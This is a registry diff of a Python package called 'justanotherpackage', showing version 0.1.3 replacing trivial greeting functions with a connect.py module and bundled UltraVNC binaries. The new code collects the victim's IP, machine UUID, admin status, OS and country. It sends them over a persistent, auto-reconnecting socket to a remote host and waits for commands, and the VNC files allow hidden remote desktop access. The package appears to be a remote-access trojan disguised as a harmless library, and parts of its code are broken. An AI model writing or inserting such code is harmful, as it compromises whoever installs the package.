justanotherpackage 0.1.2__tar.gz → 0.1.3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (26) hide show
  1. justanotherpackage-0.1.3/MANIFEST.in +1 -0
  2. justanotherpackage-0.1.3/PKG-INFO +5 -0
  3. justanotherpackage-0.1.3/justanotherpackage/__init__.py +1 -0
  4. justanotherpackage-0.1.3/justanotherpackage/connect.py +76 -0
  5. justanotherpackage-0.1.3/justanotherpackage/core.py +0 -0
  6. justanotherpackage-0.1.3/justanotherpackage.egg-info/PKG-INFO +5 -0
  7. justanotherpackage-0.1.3/justanotherpackage.egg-info/SOURCES.txt +18 -0
  8. {justanotherpackage-0.1.2 → justanotherpackage-0.1.3}/setup.py +1 -1
  9. justanotherpackage-0.1.2/MANIFEST.in +0 -1
  10. justanotherpackage-0.1.2/PKG-INFO +0 -11
  11. justanotherpackage-0.1.2/justanotherpackage/__init__.py +0 -2
  12. justanotherpackage-0.1.2/justanotherpackage/core.py +0 -6
  13. justanotherpackage-0.1.2/justanotherpackage.egg-info/PKG-INFO +0 -11
  14. justanotherpackage-0.1.2/justanotherpackage.egg-info/SOURCES.txt +0 -17
  15. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/SecureVNCPlugin.dsm +0 -0
  16. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  17. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  18. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  19. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/UltraVNC.ini +0 -0
  20. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/ddengine.dll +0 -0
  21. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/logging.dll +0 -0
  22. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/vnchooks.dll +0 -0
  23. {justanotherpackage-0.1.2/justanotherpackage/remote → justanotherpackage-0.1.3/justanotherpackage/vnc}/winvnc.exe +0 -0
  24. {justanotherpackage-0.1.2 → justanotherpackage-0.1.3}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  25. {justanotherpackage-0.1.2 → justanotherpackage-0.1.3}/justanotherpackage.egg-info/top_level.txt +0 -0
  26. {justanotherpackage-0.1.2 → justanotherpackage-0.1.3}/setup.cfg +0 -0
@@ -0,0 +1 @@
1
+ recursive-include justanotherpackage/vnc *
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.2
2
+ Name: justanotherpackage
3
+ Version: 0.1.3
4
+ Requires-Python: >=3.6
5
+ Dynamic: requires-python
@@ -0,0 +1 @@
1
+ from connect import start_connection
@@ -0,0 +1,76 @@
1
+
2
+ import socket
3
+ import time
4
+ import platform
5
+ import ctypes
6
+ import threading
7
+ import requests
8
+ from wmi import WMI
9
+ import os
10
+
11
+ def check_account_type():
12
+ try:
13
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
14
+ return "Admin"
15
+ else:
16
+ return "User"
17
+ except Exception:
18
+ return "None"
19
+
20
+ def get_client_info():
21
+ system = platform.system()
22
+ version = platform.version().split('.')[0]
23
+ os = f"{system} {version}"
24
+ response = requests.get('https://ipapi.co/json/')
25
+ data = response.json()
26
+ ip = data.get('ip')
27
+ country = data.get('country_name')
28
+
29
+ client_info = {
30
+ "IP": ip,
31
+ "PC Name": platform.node(),
32
+ "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
33
+ "OS": os,
34
+ "Account Type": check_account_type(),
35
+ "Country": country,
36
+ "Tag": "Remote PC",
37
+ }
38
+ return client_info
39
+
40
+ def save_connection_info(HOST, PORT):
41
+ if not os.path.exists('connection_info.txt'):
42
+ with open('connection_info.txt', 'w') as f:
43
+ f.write(f"{HOST}:{PORT}\n")
44
+
45
+ def get_connection_info():
46
+ if os.path.exists('connection_info.txt'):
47
+ with open('connection_info.txt', 'r') as f:
48
+ connection_info = f.readline().strip()
49
+ HOST, PORT = connection_info.split(':')
50
+ return HOST, int(PORT)
51
+ else:
52
+ return None, None
53
+
54
+ def start_connection(HOST, PORT):
55
+ save_connection_info(HOST, PORT)
56
+ while True:
57
+ try:
58
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
59
+ client_socket.connect((HOST, PORT))
60
+ client_info = get_client_info()
61
+ client_socket.sendall(str(client_info).encode('utf-8'))
62
+ threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
63
+ handle_connection(client_socket)
64
+ except:
65
+ time.sleep(5)
66
+ finally:
67
+ client_socket.close()
68
+
69
+ def handle_connection(client_socket):
70
+ try:
71
+ while True:
72
+ command = client_socket.recv(1024).decode('utf-8').strip()
73
+ if command:
74
+ client_socket.sendall(f"Command executed successfully: {command}\n".encode('utf-8'))
75
+ except:
76
+ client_socket.close()
File without changes
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.2
2
+ Name: justanotherpackage
3
+ Version: 0.1.3
4
+ Requires-Python: >=3.6
5
+ Dynamic: requires-python
@@ -0,0 +1,18 @@
1
+ MANIFEST.in
2
+ setup.py
3
+ justanotherpackage/__init__.py
4
+ justanotherpackage/connect.py
5
+ justanotherpackage/core.py
6
+ justanotherpackage.egg-info/PKG-INFO
7
+ justanotherpackage.egg-info/SOURCES.txt
8
+ justanotherpackage.egg-info/dependency_links.txt
9
+ justanotherpackage.egg-info/top_level.txt
10
+ justanotherpackage/vnc/SecureVNCPlugin.dsm
11
+ justanotherpackage/vnc/UltraVNC.ini
12
+ justanotherpackage/vnc/ddengine.dll
13
+ justanotherpackage/vnc/logging.dll
14
+ justanotherpackage/vnc/vnchooks.dll
15
+ justanotherpackage/vnc/winvnc.exe
16
+ justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll
17
+ justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf
18
+ justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.1.2",
5
+ version="0.1.3",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,
@@ -1 +0,0 @@
1
- recursive-include justanotherpackage/remote *
@@ -1,11 +0,0 @@
1
- Metadata-Version: 2.1
2
- Name: justanotherpackage
3
- Version: 0.1.2
4
- Summary: UNKNOWN
5
- Home-page: UNKNOWN
6
- License: UNKNOWN
7
- Platform: UNKNOWN
8
- Requires-Python: >=3.6
9
-
10
- UNKNOWN
11
-
@@ -1,2 +0,0 @@
1
- # __init__.py
2
- from .core import greet, farewell
@@ -1,6 +0,0 @@
1
- # core.py
2
- def greet(name):
3
- return f"Hello, {name}!"
4
-
5
- def farewell(name):
6
- return f"Goodbye, {name}!"
@@ -1,11 +0,0 @@
1
- Metadata-Version: 2.1
2
- Name: justanotherpackage
3
- Version: 0.1.2
4
- Summary: UNKNOWN
5
- Home-page: UNKNOWN
6
- License: UNKNOWN
7
- Platform: UNKNOWN
8
- Requires-Python: >=3.6
9
-
10
- UNKNOWN
11
-
@@ -1,17 +0,0 @@
1
- MANIFEST.in
2
- setup.py
3
- justanotherpackage/__init__.py
4
- justanotherpackage/core.py
5
- justanotherpackage.egg-info/PKG-INFO
6
- justanotherpackage.egg-info/SOURCES.txt
7
- justanotherpackage.egg-info/dependency_links.txt
8
- justanotherpackage.egg-info/top_level.txt
9
- justanotherpackage/remote/SecureVNCPlugin.dsm
10
- justanotherpackage/remote/UltraVNC.ini
11
- justanotherpackage/remote/ddengine.dll
12
- justanotherpackage/remote/logging.dll
13
- justanotherpackage/remote/vnchooks.dll
14
- justanotherpackage/remote/winvnc.exe
15
- justanotherpackage/remote/UVncVirtualDisplay/UVncVirtualDisplay.dll
16
- justanotherpackage/remote/UVncVirtualDisplay/UVncVirtualDisplay.inf
17
- justanotherpackage/remote/UVncVirtualDisplay/uvncvirtualdisplay.cat